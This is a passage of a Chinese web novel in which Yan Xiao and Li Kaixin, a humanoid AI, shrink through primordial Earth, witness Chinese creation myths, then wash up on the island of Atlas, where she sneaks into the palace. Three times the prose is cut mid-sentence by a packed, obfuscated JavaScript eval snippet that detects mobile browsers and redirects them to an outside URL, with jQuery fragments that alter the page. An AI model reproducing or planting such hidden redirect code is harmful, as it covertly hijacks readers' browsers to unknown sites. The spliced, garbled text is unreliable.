话问出口,没有声音。言笑能感觉出李开心始终没有放开她的手腕,可这也无法抵消当前的诡异氛围——太安静了,安静得任何细小躁动在这里都会被蚕食干净。 两人仿佛悬在半空,周围到处都是大大小小的漂浮物。往前滑行着“走”出一段距离,发光的漂浮物越来越多,言笑被烫了手,疼得嘶嘶吸气。远处光线弯折成一条曲线,言笑困惑望着,忽然察觉李开心拽过她的手,在她掌心写了两个字。 宇宙。 言笑恍然大悟——他们竟是在刚刚经历过大爆炸的宇宙中!宇宙边际膨胀漫延,恒星在黑暗中诞生、消亡,引力维持平衡,星河运转。虽然理论上来说没有氧气会让他们窒息而死,可言笑现在呼吸正常——又或许是泡泡作了弊,她现在根本没有呼吸。 耀眼恒星抛射粒子云团,撞击行星大气,绮丽光线迸发出来,在行星两极环绕游移。李开心往远处指,言笑看见了恒星爆炸后的残骸,像一个美丽展示的迤逦伤口,中心已经化作吞噬光线的黑洞。 言笑倏忽察觉一种难以言说的感动。这种感觉如此具象,甚至让她眼眶发湿;这种感觉又如此飘忽,言笑也不理解自己在感动什么。可能她只是纯粹感动于世间万象——科学在现实面前如此渺小而幼稚,人类却依然愿意以科学为信仰。 周围星体的体积逐渐变大。一开始星体多是碎屑、眼珠大小,后来言笑被撞了后脑勺,回头一看,眼前漂着的东西能赶上酸菜那么大。 “怎么回事啊?”言笑哀叫。现在总算有了声音,虽然模糊得像是在水里吐泡泡。“这是要砸死咱们吗?” 李开心不语,始终没有放开言笑的手腕。“行走”变得愈发困难,星体沉重得再也无法轻易拨开。言笑踹开一颗白色星球,刚转过脸,李开心忽然使劲拉她,高声提醒,“小心!” 蓝色星球正冲二人撞击而来。稍远些时这星球看着直径不过两米,可随着距离拉近,星球迅速膨胀,转眼已如一座大山般阻挡在二人面前。言笑甚至来不及发出尖叫——这么一个庞然大物足以让他俩直接交待在这儿,别说把它踹开,没被它撞出宇宙视界都够拜上三天神佛。 言笑闭上眼睛,本能地伸手推它。可迎来的竟不是撞击,言笑甚至没感受到速度。手掌触即的东西带着陌生的颗粒感,足尖也像是踢到了什么东西,言笑脚下使力,居然—— 站了起来。 她和李开心成了站立在这颗蓝色星球上的巨人。 言笑懵然两秒,随后反应过来,“不是星星变大了,是我们一直在变小。” 再仰头看,刚才的瑰丽星系已经遥不可见,天空是沉沉的青色,云层在言笑头顶不远处盘旋。言笑吸吸鼻子,“好冷啊。” 目之所及的陆地皆被冰层覆盖。言笑俯身,捏起只到她膝盖高的小山包,冰雪咯吱咯吱从指间落下,小山包硬是被言笑随手捏没了尖尖。 “这怎么办?”言笑愁眉苦脸,“大冷的天,什么都没有。有只鸡也行啊,咱生火烤烤吃了。或者鸽子,炖汤。” 鹦鹉螺城走过一遭,言笑对吃也算长了一些见识。李开心半个脑袋插在云里,脱了外套递给言笑,“你穿。” 言笑摆手,“不用。” “拿着。”李开心把衣服塞进言笑怀里。“我不需要体温。但你需要。” 言笑,“……啊?” 巨人行走陆地并没什么明显优势。踏着大步走了十几二十分钟,眼前冰层依然连绵不绝,不见海洋,也不见任何生物。言笑走累了,一屁股坐地上,抓个山尖尖塞嘴里,“歇会儿,你让我喝口水。” 天似乎变高了些,也可能是他们在持续变小,李开心脸上终于不再云雾缭绕,云层帽子似的攀在他头顶。 言笑搓搓手,正要再抓个山尖尖,突然惊异发现脚边雪山好像……化了一点。 雪山迅速化冻,汇聚成为河流,陆地显现,气温回升。言笑缓了两秒,一骨碌从地上爬起来,俯瞰地壳变化,末了咽咽口水,“雪没了,地上会有吃的吗?” 李开心捏起一撮土,放在鼻下闻闻,“应该不会。如果我没猜错,咱们现在在地球上。冰河时期在远古地球不止一次,我们还会反复经历寒冷以及冰川化冻。” 果然,冰雪再次降临。好在两人在冰川期的间隙找到一处足以容纳他们身躯的山坳,身旁山峰入云,不见山顶,总算能够遮风。言笑整个儿缩进李开心的外套里,紧锣密鼓地吸溜鼻涕,“这也太冷了,连火都没有。你不是说有火山吗,火山在哪啊?” 李开心走到言笑身边坐下,向她伸出一只左手,“暖和一下。” 言笑费力地眨眨眼,试图扑簌掉睫毛上结出的冰碴儿,“什么?” “握着我的手。” 言笑狐疑握住李开心的手。男人手掌宽大,骨骼坚硬,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926421|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概是冷了太久,言笑一开始甚至感觉不出温度,直到逐渐回暖言笑才迟钝察觉,李开心的手热得烫人。 言笑呆了呆,忽然往上摸他的手腕和小臂。 凉的。和地上的冰雪一样。如果不是尚有皮肤的柔韧,言笑甚至会怀疑他是一块石头。 “你是什么东西?” 言笑对李开心早已有所怀疑,甚至刚才给她外套时李开心几乎已经坐实了她的猜想,可言笑还是问了出来,不得到一个官方回答终归不死心。 李开心望着天空,并没看向言笑,“你不是早就猜到了么?” 言笑从未见过顶级人工智能,做到李开心这程度的太罕见了。至少在言笑眼里,李开心完全具备人类的情感属性,装的也好真的也好,他从没在与人类的交互上出现任何纰漏。 “人形机器现在都智能到这程度了?为什么秦笙一个同事买的机器人男朋友就特别不聪明,她花的钱不够多?” “可以通过高阶图灵测试的人工智能禁止被设置为人形,我是唯一的例外。而且我有过漫长的人类交互学习时期,这些数据是其他人工智能不可复制的。” 言笑盯着李开心猛看,忽然凑近过去,伸手捏了捏他的脸。 “脸也是凉的。你整个人都凉了。” “环境恶劣,不必消耗热量维持体温。” 言笑饥肠辘辘,又坐回去,“地上什么时候能长出动物?” “现在不太好判断咱们处于哪段冰河时期。地球早期的冰河时期都以千万年计,但咱们也就过了不到二十分钟,所以运气好的话,可能经历一天前后就能到达现代社会。” “地上什么时候能长出动物?” “16.5亿年前,真核生物诞生;5.3亿年前,寒武纪生物大爆发,原始鱼类就是在寒武纪晚期诞生的,随后演化成为两栖类、爬行类、鸟类和哺乳类……” “地上什么时候能长出动物?” 李开心叹了口气,“你要是实在饿,就先等等植物。” “草不好吃。” “草出现得晚,你可以吃蕨类。或者等到石炭纪,可以抓一些巨型昆虫烤着吃,那玩意高蛋白,烤起来应该挺香。” 越说越饿。言笑舔舔嘴唇,“你给我剧透一下吧,接下来会发生什么,冰河时代结束以后都有哪些花活儿,我还想看看恐龙呢。” 李开心道:“奥陶纪有一场生物大灭绝,是由极超新星释出的伽马射线暴引起的,臭氧层被破坏,紫外线袭击地球。三叠纪火山活动频繁导致全球气温升高,降雨增多,卡尼期洪积事件也带来了生物大灭绝,地球下了百万年大雨。” 言笑,“……” “在此期间还有过小行星撞地球。即使咱们能熬到侏罗纪,别忘了恐龙也是被小行星撞没的。” 言笑抹了把脸,“那什么要不咱们还是看看怎么从这里逃出去吧。” 两人离开山坳,继续前行。俄而冰雪再次消融,言笑与李开心走在群山之间,问李开心道:“是这片山头太高了,还是咱们真的在越变越小?体积大点的话,小行星撞地球也能扛住,要是咱们变成普通人类,那不直接KO?” 地上没有参照物,只能看天。李开心望望太阳与云朵,毫不留情撕破言笑的期待与幻想,“照这速度下去,再过一两小时我们就会变回正常身高。” 话音刚落,天顶忽然落下一道赤红火焰,热量卷起地表烟尘,剧烈烧灼遥远的地平线。 言笑看呆了,“这这这这这是……火山喷发?” 14. 阿特拉斯02 说完言笑反应过来。不是。火山喷发至少应该从地上往天上喷,哪有天上落天火的。 火焰烘烤大地,霎时扬起滚滚热浪。言笑很快觉察气温飙升,脚底都开始发烫,远处地表震颤,隆隆作响。言笑当机立断,拽着李开心的衣袖扭头就走,“快跑。” “你看!” 李开心脚步没动,叫住了她。言笑回头,乍见天顶竟然裂开一道口子,洪水倾泻而下,自极高处落成一方磅礴瀑布,随后在地面化作奔腾河流。 河水迅速蔓延过来,白花花的巨浪奔涌、咆哮,顷刻将炽热大地侵吞蚕食。言笑再次把头扭了回去,“行了别看了,你怎么看热闹不怕事大?” 目前两人仍有身高优势,这洪水即使蔓延过来,最多也不过到两人腰际高低,暂时不算要命。可水火相争,无论谁胜,言笑既不想脑子里灌水,也不想成为炮灰。 “你看,言笑!快看!” 言笑拽着李开心闷头疯跑,压根不理李开心唤她。洪水追击极猛,刹那已经冲刷至他们的脚踝,李开心见言笑跑个不停,干脆强行伸手拽住她,“龙!” 赤红巨龙在水雾弥漫中直冲天际。火光炸裂开来,龙吟回荡,龙角与龙鳞灼灼夺目,如同烧得上好的珐琅。 言笑这下顾不得跑了,目瞪口呆,“这玩意和刚才是一个体系的吗?” 水汽之中隐约藏着另一个身影,蛇身,长尾,一头红发。李开心说:“是共工。” 言笑大概记得这是个神话人物,但不太清楚细节,“展开说说。” “共工是上古神话中的水神,掌控洪水。简而言之就是,共工和火神祝融打起来了。” “最后谁赢了?” “祝融。” 言笑得了剧透,实在无法遏制看戏的兴致,遂与李开心一同在山后抄手看着,等远处那两尊大神打完。水火交锋,针锋相对,共工很快落败,洪水如蜿蜒游蛇般迅速退去。被淹死和被烧死实在很难说哪个稍微好点,可至少火焰温度够高,貌似烧死会快一些,淹死则需要窒息很久。言笑还算满意这个结果,手肘撞撞李开心,问他,“打完了,然后呢?” “共工撞了不周山——就是擎天的柱子。然后天漏了个大窟窿,洪水泛滥。” 两人对视一眼,突然不约而同往反方向拔足狂奔。 可也已经来不及了。 天边一声长啸,蛇身人影在云中盘旋数周,忽而向下俯冲,撞向刚才言笑与李开心用来挡风的巍峨高山。刹那地动山摇,言笑当即摔了个跟头,大地倾斜,无数碎石滚落。 李开心一把攥住言笑脚脖子,将她像个麻袋似的抡了半圈,言笑眼前一花,再回神已经被李开心扛在了肩上。不周山自中下处折断,烟尘呛人,随着地面倾斜愈发严重,成堆的巨石倾轧而来。言笑被颠得快吐了,摇晃之中只见随着不周山折断,天空骤然被撕开一个口子,洪水霎时自其倾倒如注。 “啊啊啊啊啊啊啊——李开心快跑啊!” 言笑嚎得声嘶力竭,从精神上以声音给李开心力量。奈何落石与洪水齐飞,绝天柱断地维,哪里能靠双腿跑赢,眼看两人被吞没就在一瞬之间。 远处山间忽然响起一声龙吟。黑龙破山而出,遮天蔽日,带起烈烈风声,霎时暗云疾走。言笑上一秒刚被洪水打湿后背,下一秒就已经被在空中抛了个个儿,旋即稳稳当当落下,骑在了龙身上。 黑龙救走二人,穿过云层,返回山中,盘踞着远望天河倾洒。言笑使劲抓住滑溜溜的坚硬龙鳞,以免自己滑滑梯似的掉下去,惊魂未定,问黑龙道:“这位英雄,敢问如何称呼?” 黑龙自然不答。李开心轻声道:“这是烛龙。” 言笑虽不知烛龙是什么龙,但也能猜到必然是位神通通天的,当即没脸没皮凑过去,嬉笑道:“多谢您老人家救命之恩。小女无以为报,要不就认您当干爹吧,以后我孝敬着您,您多罩着点儿我。您看好不好呀?” 烛龙喷出龙息,龙身震颤,言笑吓得当即收起油嘴滑舌,张开手臂往烛龙身上俯身一趴。 天河之水滔滔不绝,两人一龙看了许久,言笑忽然想起什么,回头道:“女娲补天是不是就在这个时候?” 李开心说:“是。” 烛龙将两人留在山里。昼夜变换,水仍未停,言笑大清早睡得迷迷糊糊,睁眼朦胧看见雾气缭绕间有个堪比山高的蛇身背影,一条手臂举起,手中拿着什么,像是要给裂开的天补上窟窿。那背影虽然巨大,线条却十分柔和,与昨日见到同为蛇身的共工完全不同,言笑看得出那是个女人。 女娲。 显然女娲手里的东西不足以补上天裂,女娲犹豫片刻,放下手里的东西,转而向远处水泽滑行。言笑问道:“她是不是去炼五彩石了?这段儿我知道。‘无才可去补苍天,枉入红尘若许年。’*” 李开心说:“她应该是去抓神鳌了。天塌地陷,女娲砍下神鳌的四只脚,作为天柱撑起了天。” 言笑竖起耳朵,她对“鳌”这个字很敏感,“‘鳌’就是王八,对吧?那咱去捡龟壳看看,说不定那个就是玄武呢。” “神鳌和玄武是两个东西。”李开心道:“别在这儿看了,走吧。这里距离天裂太近,也不怎么安全,咱们走远一点。” 钟山脚下,洪水大概到两人小腿高。言笑走得费力,一步一步慢慢挪着,嘴上不停,“这时候女娲应该已经造过人了吧,就是抡泥点子那个。人都有了,肯定有吃的,咱找找夸父的桃林在哪,说不定能摘几个桃子吃。” 然而什么桃林,什么桃子,全都是梦幻空花。言笑走得脚都快断了,目之所及皆被水泽覆盖,不见任何可食用生灵,更别提女娲抡出的泥点子。 转眼水已淹到腰际,言笑几乎是在漂着走,再回头看,早已不见钟山,“怎么办,咱们回去?回去至少还有陆地,现在这是走到南太平洋了吗?” 李开心沉声道:“也不一定是水的问题。是我们的问题,我们一直在变小。” 没有参照确实会混淆大小概念。如果真是这样,再走回去恐怕不容易。言笑在远处站定,大水漫漫冲击腰腹,言笑闭上眼睛仔细感受,希望能察觉出水面高度是否在一点点上浮。 李开心问她,“你在干什么?” “往前走往后走都是死,我在想要往前走还是往后走。” “那你想好了吗?” 言笑睁开眼睛,拽着李开心的衣袖向前迈了一步,“都走到这儿了,没有后退的道理。” 言笑拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938881|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李开心纯粹是因为李开心比她高比她重,走在水里更稳当,可哪想一步迈出,忽然踩空,仿佛脚下是被大水掩盖的万丈深渊,地壳在此齐齐切出断面。 言笑甚至没来得及尖叫,就跌入了深不见底的归墟。李开心反应极快,立刻反手死死攥住言笑手腕。可那水像是能吃人,连浮力都可以忽略不计,言笑并没有因为拉住李开心而稳住脚步,反而将他一同扯了进去。 两人齐齐落进无边深水。 冷水密不透风灌入口鼻,言笑鼻腔辣得发酸,鼓膜霎时受到重重冲击,肺部更是像被钢刀刮过一样剧痛。水面之外的天光如同遥不可及,言笑拼命告诉自己不能呛着,尽量把灌进嘴里的水都咽下去,同时拼命蹬腿,可那点光亮偏就越来越远,仿佛八泓九野的水都汇聚于此,倒灌、吸纳,迎接他们的只有暗无天日的深坑。 言笑游不上去。即使踢掉了鞋也没用,像是有只看不见的手在把她往下生拽,对于呼吸的渴盼胜过一切,然而这一刻她无法汲取任何氧气。 如果死亡有颜色,言笑看到那应该是水泽的深黑。只是死在这里实在毫无意义,李开心和她死在一起,没人能证明她确实死了,这样的话连抚恤金都拿不到。 血亏。 泡泡一串一串从嘴里吐出来,上升、漂浮,发丝成了缠在水下的海藻,言笑恍惚中听见人鱼的歌唱。突然什么东西撞了上来,言笑骤然睁眼,眼前是李开心放大的脸,浅灰虹膜被染得深邃如墨。 李开心堵住了她的嘴唇。 后腰被一只有力的大手扣住,言笑整个人被李开心捞在怀里,动弹不得,只能在慌乱中死死扣住对方肩膀。冰冷气流从齿间渡了过来,带着唇齿间隐秘的味道,少而稀薄,聊胜于无罢了。这一刻言笑觉得古老电影里在水中渡气的剧情都是扯淡的,渡气救不了命,早死一秒晚死一秒的区别而已,不过占了李开心的便宜倒是真的。反正人工智能不需要呼吸,言笑当即决定不要客气,在濒死感与窒息感压顶而来之时反咬住李开心的嘴唇,让这更像一个吻。 口腔打开,冷水咕嘟咕嘟灌入喉管,李开心奋力抱着言笑向上游去,却仍无法浮起分毫。血液在血管中奔腾的声音被无限放大,与水泽深处的人鱼吟唱共鸣,哀伤而悲壮,像赞颂像挽歌。 言笑终于昏了过去。 再醒来时湿漉漉的头发粘了满脸,手指触即的沙子很细,搁浅的小鱼在言笑身上蹦了蹦,跳进旁边的小水坑里。 他们置身于一片沙滩。 周围吵吵嚷嚷,阳光被遮挡一截。言笑累得抬不起眼皮,只知道那是一群人站在他们身边大呼小叫。 “海妖,这就是海妖啊!” “快让王宫的武士把他抓走!处置了海妖,阿特拉斯岛才会重回宁静。” “咱们直接拿鱼叉把他叉死吧,何必交到王宫去?” “武士们已经在路上了。国王下的命令是捉拿海妖,咱们没有处置他的权力。” 众人七嘴八舌。言笑被吵得头晕,但也能听出大事不妙,费力睁开眼睛,先映入眼帘的是一片苍白胸膛。海水冲走了李开心的衣服,暴露出一块块形状完美的肌肉。再往下自肚脐处,是片片银白、带着幽微光泽的鳞片。 李开心长出了一条鱼尾。 15. 阿特拉斯03 言笑全身都疼,提不起一丝力气,可似乎李开心也丧失了作为人工智能的优势,同她一样只能勉强睁开眼睛。言笑忽然被这双浅灰色虹膜刺了一下,像是心口刮出一道薄如蝉翼的伤,动动嘴唇,干渴的嗓子却说不出话。 “这边,这边,海妖在这儿!”瘦骨如柴的渔民中气十足,挥手吆喝武士过来。 众位武士披坚执锐列队而来,为首的问,“就这一个?” “就这一个。”渔民低头为难地看了言笑一眼,“他俩好像是一起的,另外一个也不知道是不是。” 尽管难以动弹,言笑也还感觉得出她的双脚依然存在。鞋子没了,脚趾磨在沙上。 为首的武士道:“把有尾巴的那个带走。” “另一个呢?” “留在这儿,让她自生自灭。” 众人领命,纷纷围来,七手八脚就要抬走李开心。 “等会儿,他怎么这么沉?” “你那位置不好使力,年轻大小伙子能不沉么?看这尾巴,啧,有没有三米?” “你让开,我来。” “嘶——这鳞片剌手,你们小心点儿。” 李开心与言笑的手指始缠在一起。言笑早就没了力气,是李开心始终没有放开她。湿发粘了满脸,细沙吃进嘴里,这一刻言笑有人为刀俎的恐慌、孑然一身的惊惧,但分离前所未有地使她惶然,她或许能猜到李开心面对的将会是什么。 剔了鱼鳞,拔了鱼刺,切腹剖肠,以他镇压一方动荡? “一二三,起——来来来,抬走抬走!” 众人吆喝着,相连的手指像断裂的橡胶被扯开结扣,银白鱼尾消失在视线范围之外,而言笑成了一条晾在沙滩上的咸鱼。 言笑动动手指,努力抓紧手里的东西。 是李开心的旧手机。李开心在浪潮里弄丢了全身衣服,唯独这旧手机死死攥着不放。 日头渐落,海风无休无止吹着言笑的一身湿衣,刚才日光里还有几丝热度,现在却只有无尽寒意。言笑觉得自己和咸鱼只差一撮盐,再这么躺下去怕是离拿抚恤金不远了。 不知过了多久,远处忽然响起一个女人的声音,“呀!这里有个人!” “听隔壁当家的说,今天在海滩上搁浅了一只海妖。海妖被带走送进王宫了,剩下一个和海妖一起出现的人。”答话的是个男人。 “这不是造孽么。”女人听上去担忧又急切道:“快,咱们把她带回去呀!晚上海边这么冷,会冻坏的。” 言笑用尽全力抬抬眼皮,只看到脑袋上方两个模糊影子,再然后猝然眼前一黑,就什么都听不到了。 唤醒言笑的是一阵食物香气,还有火上小砂锅咕嘟咕嘟的声音。 屋顶不太高,这是一间昏暗的屋子,床铺很软,枕头有皂角味道。言笑身上换了一套清爽布衣,头发也干得差不多了。两秒回神,言笑忽然一骨碌翻身坐起,稀里哗啦在身边一通乱翻,摸到枕头底下的旧手机后才松了口气。 “你醒啦?” 大婶扎着碎花头巾,乌黑油亮的头发结成辫子搭在左肩,袖子挽起半截,露出一双瘦而有力的手腕。见言笑懵然无措,大婶来到床边笑说:“我们煮了一点螺片粥,你喝了暖身子。喏,还烤了鱼,你是现在来吃,还是缓一缓再吃?” 鱼?这可是稀罕东西。还有螺片粥,是海螺吗?言笑梦游似的把旧手机揣进怀里,撩开被子下床,吸着鼻子往饭桌走。 大叔端着烤盘上桌,大婶又去拿了小菜,是腌过的海藻丝,能闻出一点甜味。言笑又渴又饿,嗓子干得像是有刀片在刮,坐在桌边咕嘟咕嘟灌了好几杯水,才总算缓过来些。螺片鲜美,粥早已煮得软烂,烤鱼更是酥脆可口香气四溢。言笑就着鱼和小菜,闷头连喝三大碗粥,饱了,这才打着嗝儿道谢。 大婶慈爱笑着,“没事没事。既然让我们遇见你,我们总不能把你留在海滩上啊。”又问,“我家的饭,还合你口味吗?” “太好吃了!”言笑赞不绝口,意犹未尽地舔舔嘴唇,“我家住的地方没有鱼——不是,是没有海水鱼。淡水鱼也特别稀少,拿钱都买不到,只有有身份有地位的人才能吃。” 大婶意外地望向大叔,“我家先生也说过,他来的地方没有鱼,还说只有机器制造出来的、鱼类口味的‘鱼肉’。可有水就有鱼啊,姑娘,在你的家乡,海水也被污染过吗?” 胡子拉碴、面皮黝黑的渔民在桌子另一端与言笑沉默对视。 言笑心里登时疯狂飘过无数弹幕,这一刻的起点就是主干,言笑将所有可能的情境都在脑内预演一遍,主干分出纵横交错花样繁多的枝桠。树状图肆意生长,身份问题估计再难瞒过去,言笑清清喉咙,小心谨慎地开口,“……奇变偶不变?” 大叔脸上浮现出一个问号,“你在说什么?” 这话是言笑从21世纪的网络小说里看来的。古时候流行穿越,当主人公在陌生世界里,但凡遇到疑似与自己来路相同的人,都要暗戳戳地对个切口。可这句话究竟是什么意思,言笑不得而知。 大叔问,“泡泡?” 言笑秒懂。点头。 大叔让大婶收拾碗碟,出去洗碗,自己点上烟斗,与言笑唠嗑。袅袅烟雾与昏黄灯光下的皱纹混杂,这场景像一幅陈旧油画。四十年前服役于联盟特种部队的特种兵们奉当局命令进入泡泡,可进来之后却发现,这里的一切和之前得到的信息完全不同。 是了。言笑想着。李开心说过,泡泡的入口位置和进入速度会改变,所以他才会拿骰子定位,可大叔进入泡泡之前明显并不了解这些。 特种部队找不到离开的方法,只好被迫留在阿特拉斯。许多旧日战友加入王室军队,征战四方,挞伐其他国度。大叔不愿如此,遂在渔民家里做了上门女婿,日复一日打渔为生。如今混得最好的战友已经成了将军,其他战友亦生活富庶。 言笑眼珠滴溜一转,“大叔,我想进王宫救我的朋友,你有没有办法帮我混进去?” 没等对方回答,饭桌忽然咣啷咣啷震动起来,不止饭桌,整个屋子都在剧烈摇晃。一道身影矫健地瞬移出去,大叔在屋顶抖落的烟尘里眯起眼睛,举着烟斗,淡定地往屋外喊道:“没事,不用害怕。进来吧。” 大婶刚洗完碗,在围裙上擦了擦手,看着惊魂未定的言笑笑了,招呼她进屋,“近年地震频繁,这不过是小震,不碍事的。” 言笑倒也没觉得多难为情——那地动山摇的架势和共工撞不周山差不多,谁不跑谁是狗。 大叔说公主是位美丽而有修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946796|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养的淑女,喜好艺术,宫里常年欢迎手艺最好的工匠为公主做雕塑,如果言笑有这手艺可以去试试。 言笑连磕巴都没打,“我没有。还有其他办法吗?” “会画画像、或者会弹奏乐器也行。” 更离谱了。“这些我也不会。” 大叔为难道:“名正言顺进王宫确实很难,王宫又不是菜市场。” 言笑狗腿地凑过去给大叔倒水,又委委屈屈地抿嘴抠手,“大叔,我知道你为难,你只要帮我混进王宫就行了,其他事情我一定不牵扯你。毕竟……”言笑假装欲言又止,怯怯看了大婶一眼,“毕竟咱们也是同一个地方来的。要是哪天我们能离开,我们,我们……” 暗示到位。我们可以带你出去。可实际上言笑也不愿意板上钉钉地画大饼,大叔在泡泡里待了那么多年也没找到出口,很难说他们会在这里停留多久。再说现在大叔拖家带口,这话说出来大婶不爱听。 大婶心软,跟着言笑央求大叔道:“你帮帮她吧。倒也不是不行。” 言笑眼睛“噌”地亮了,兴奋追问,“真的吗真的吗?” 大叔在桌子上磕磕烟灰。叹气。经那已经当上将军的旧战友介绍,大叔定期会给王宫供给海鲜,刚好隔日就是大叔送海鲜的日子,言笑顺理成章藏进了鱼桶。 “这味道真是——呕——” 满身鱼腥味儿甩脱不掉,言笑扶着树吐得昏天黑地。大叔自怀里掏出一块布帛,“这是王宫的地图。你自求多福吧。” 言笑胡乱拿衣袖擦擦嘴,接过地图,虚弱地问,“王宫怎么会有地图?这地图靠谱吗?” “职业习惯。”大叔回答,“到哪儿都先观察和记忆地形,就随手画了。” 言笑看着图像细致描画、字迹密密麻麻的“随手”,五体投地,拱手道:“多谢您了。” 偏门所在的犄角旮旯附近有一处仓库。言笑跟李开心混迹多时,别的没学会,砍手刀倒是能模仿几分。言笑赶在一个无辜女仆因为看见她这一可疑人员而发出尖叫之前,一记手刀将其劈倒,然后剥下她一身外衣,麻利将她拖到仓库角落绑了。 监狱距离仓库不远,四面有人把守。言笑对着地图琢磨地形,寻思先找个僻静地方等守卫换班,只要掌握排班规则,后续怎么下手都好。过了一处游廊,言笑寻到一座无人小屋,几桌几椅,几处矮几小柜,桌上竟还摆着两盘点心。 那点心看着粗糙,一个就有言笑半张手掌大。言笑也不挑,顺手抓起一个咬出半扇月牙,突然使劲咳了两声,拳头捶捶胸口。 有点儿噎。 虽说这玩意不比鹦鹉螺城点心铺子里的点心细致,可这酥皮多嚼两口,竟也能察觉隐秘的甜,大概是里头加糖了。言笑继续埋头啃着——从山海世界出来之后言笑就有点儿吓怕了,忧患意识倍增,有吃的必须抓紧时间塞嘴里。 下一秒,门外突来响动。 言笑动作比脑子快,等反应过来有人站在外面,言笑已经猫身藏到柜子后头,心跳砰砰加速。 那人蹑手蹑脚,也不像个光明正大的。吱呀一声门开,言笑偷瞅过去,率先看到澄明日光里蔚蓝的半片裙角,层叠蕾丝精美复杂。 来人竟是个比23世纪陪伴款机器人还漂亮甜美的女孩。 16. 阿特拉斯04 女孩提着裙子,小心翼翼合上了门,继而奔到桌边偷点心吃,满手抓,干脆利落咬一大口,还随手拍掉落在长卷发上的酥皮渣渣。 言笑心说看来阿特拉斯王宫里的日子也不好过,看这姑娘穿得像模像样竟然吃不饱饭,也不知道是在哪里当差的,日子过得忒惨。就冲她这身华服与她头上蝶翼般精巧的金饰,说她是公主言笑都信——想到这里,言笑如遭雷击。 该不会真是公主吧? 门外突然传来吵嚷,甚至没有由远及近的过程,等言笑察觉,那声音已然只隔了道门。是数个男人的声音,笑声里夹杂着听不清内容的闲聊。女孩显然没预料到,惊慌失措地四下打量。屋子不大,一览无余,人声几乎紧贴着木门,门外来者已经将手放在了门把手上。就在大门敞开的前一秒,女孩当机立断—— 跳到柜子后面,利落地捞住裙摆蹲好,如同一颗等待生长的蘑菇。 言笑情绪稳定地以眼神与乍然躲藏在自己身边的女孩打招呼,还没忘往嘴里又塞一口点心。女孩全然没料到柜子后面躲着个人,眼睛霍然睁大,当即死死捂嘴,这才控制着没尖叫出声。言笑做了个息事宁人的手势,示意对方不要大惊小怪:都是来偷吃的,冷静一点。 进屋的男人有十来个,言笑听了几句闲话才算明白:这里是守卫换班的休息处,而他们近日刚换首领,调了排班表,作息因此和往常略有差别。 跑到这里偷吃,和自投罗网差不多。 女孩明显也刚得知守卫调整排班的事,懊恼得直薅头发,薄如蝉翼的金饰在头上一颤一颤的,看得言笑胆战心惊。突然“咚”地一声闷响,薅头发动作太大,女孩的手肘直直撞上柜子,霎时间屋内一片寂静。 守卫们警惕性极高,众人立时齐刷刷将长矛举到身前,互相背靠。为首的喝道:“谁在那里?出来!” 死两个也是死,死一个也是死,言笑本着死道友不死贫道,一咬牙一闭眼,瞅准机会,抽冷子推了身旁女孩一把。哪知女孩竟迅速揪住抽屉把手,随即矫健地伸腿一踹,没等言笑反应过来,言笑已经自柜子后头飞了出去。 失策了。 长矛转动微弱角度,锃亮金属折射出一道锋利的光。“你是什么人?” 兵器当前,言笑老老实实举手抱头,“仓库看门的。” “哪个仓库,叫什么名字?” 大叔给的地图里只标注了密密麻麻一排仓库,“哪个仓库”确实不太好答。言笑假装无意地往柜子后头扫过一眼,与女孩在毫秒之间对视。“就……刚进门那个仓库。” 两个男人上前,擒住言笑手臂,一拧一推,言笑直接被安排走。 昨日打海中上岸,海滩附近多是渔船与寥落的渔民住家,今日一早又被装进桶里,言笑其实还未倒出空来细细打量这座传说中的阿特拉斯岛。王宫角落,仓库附近,建筑不过一群矮小石屋。而当言笑被押解着向王宫深处走去,途径的建筑竟愈发雄伟恢弘。葳蕤树群之中,清泉淙淙穿行而过,树叶掩映之后的建筑多以黄铜、红铜与锡作为涂层,不似居所,倒像神庙。 “你们这是要把我带哪儿去啊?”言笑不舒服地扭扭肩膀。 “闭嘴!” 言笑非常擅长审时度势,立刻闭嘴。 王宫里囚人的地方不止一处,言笑从一个犄角旮旯被带到另一个犄角旮旯,刚在小黑屋里关了没多久,门外就有人造访。 “薇拉姑娘,你怎么来了?”是守卫的声音,刚才拧言笑胳膊的那个。 “公主听说你们带走了她的人,让我过来看看。公主在王宫外找了个陪她玩十字戏的女孩,昨天刚进王宫的。” “这……” 来者声音很小,语调又绵又弱,言笑得拼命竖起耳朵才能听清。“公主听说她被带走,都急哭了,这才没有亲自过来,难道你们在质疑我假传公主的命令?放心,我跑不了,即使我跑了,还有我哥哥在呢。” 